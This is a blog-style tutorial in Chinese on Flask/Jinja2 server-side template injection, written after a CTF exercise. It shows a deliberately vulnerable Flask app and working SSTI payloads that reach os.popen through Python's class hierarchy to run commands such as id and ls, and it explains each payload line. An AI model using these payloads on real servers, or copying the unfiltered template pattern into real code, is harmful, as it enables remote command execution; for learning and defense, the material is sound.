最近做题的时候碰到了ssti注入,去了解了一下,多数是存在与flask框架里或使用jinja2模块的web应用里,本事我是拒绝的,但是去学习了一下还是比较好懂的,这里对各位大佬的讲解,进行粗略的总结.
<!--more-->
ssti粗浅理解
ssti模块注入,实际上还是注入类型的一种,其原因都是信任用户输入或者没有进行适当数据过滤,进而导致执行恶意代码的问题.这里ssti也是类似的,先来看个例子吧,这个例子取自vulhub里的flask一节
from flask import Flask, request
from jinja2 import Template
app = Flask(__name__)
@app.route("/")
def index():
name = request.args.get('name', 'guest')
t = Template("Hello " + name)
return t.render()
if __name__ == "__main__":
app.run()
这是一个非常简单的flaskweb应用,只是通过获得用户get进来的name参数,进行相应的显示,主要问题在于对用户输入的name参数是直接传给Template对象进行拼接的,没有进行过滤,随后利用render()方法进行渲染时,该方法会对用户输入进行解析,这就是ssti注入的成因了.
以下是简单示例:
这里可以看见,服务器已经将我们输入的数据进行了解析并运行了,因此这里存在注入的问题,那么问题来了,我们需要知道payload是怎么来的,根据官方给的payload为:
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("id").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
第一句payload
{% for c in [].__class__.__base__.__subclasses__() %}
class
先一步步来,我们将payload一行行拆开,了解每一行的作用到底是什么,首先我们需要知道在python中'.__class__'是用来获得当前数据实例化的类是什么的,举个例子:
我们可以看到,利用'.__class__'获得了对应数据所使用的类,因此payload第一句是获得'[]'对应的类为"<class 'list>'"
__base__及其其他
接着'.__bases__'和'.__mro__'类似,是获得该类的父类集合的元组,简单的例子如下:
注意__mro__和__bases__的区别,__mro__会将本类包含,而__bases__则不会包含本类,顺便说以下__base__和__bases__不太同,简单举例如下:
因此如果不是存在过滤的情况,可以直接使用__base__获得基本类(object),基本类(object)是所有类的父类
__subclasses__()
这个属性是用于查看类中所有存活子类的引用,可以理解为只要有子类应用该父类,其返回就会包含该子类,我们已经知道了object是所有类的父类,因此利用Object基类去调用该属性,会返回所有可调用的子类,如下图:
因此第一条语句是在用for循环进行遍历寻找可调用类中的子类.
第二条语句
{% if c.__name__ == 'catch_warnings' %}
__name__属性相信大家都不陌生了,这个属性常常用在
if__name__=='__main__'
作为语句开始,他的作用是获得当前调用模块的名字,因此这条语句的作用是判断当前使用模块的名字是否为"catch_warnings",同时我们需要知道是什么模块名字为"catch_warnings",是我们用于系统命令操作的os模块,因为访问os模块都是从warnings.catch_warnings入手的,这里就相当于我们在寻找os模块
第三条语句
{% for b in c.__init__.__globals__.values() %}
这个语句首先将查找到os模块进行实例化,然后利用__globals__查找该模块下一个包含可使用的方法和变量的字典,后面那个values()实际上是调用Python字典里面values()方法,将键值对的值取出并将这些值进行迭代,其值如下,都是方法或者变量
第四,五句语句
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
这两句先是查找了b中类与字典类相同的变量和函数(模块中的函数是以键值对的形式存储的,因此需要寻找同字典类型的类),然后再在对应b中寻找有无'eval'为Key值的存在,举个例子就知道这条语句在干什么了,例子如下:
这里我们看到已经找了eval函数的所在地了,现在需要做的只是使用它
最后一句语句
{{ b['eval']('__import__("os").popen("id").read()') }}
这里相当于调用了eval()方法执行我们需要注入的内容,然后利用__import__动态加载入了os模块,利用.popen()方法打开一条系统通道,在执行这条命令之后返回了一个file类型的对象,从而可以让我们读取执行命令之后的内容,随后利用file对象里的read方法进行读取,从而获得回显.
有关使用的问题
不多说了直接上图吧
这里使用Linux里的id命令:
类似的还可以执行ls命令:
这就已经可以拿到webshell了
有关另一种payload
这种payload思考方法和前面的类似,都是通过基类object进行查找,找到os所在的位置然后执行相应的系统命令,同类型的payload有:
[].__class__.base__.__subclasses__()[(warnings.catch_warnings所在位置)].__init__.func_globals.linecache.os.popen('id').read()
这里利用了一个.func_globals属性是用于查找该类下的全局函数,后面的.linecache则是读取任意文件的某一行,通过这个方法找到os,然后再利用popen()执行系统命令,并用read进行读取.
更多信息可以参考以下文章:
FLASK模板注入 (SSTI)
探索Flask/Jinja2中的服务端模版注入(二)
用python继承链搞事情
------------------the end----------------------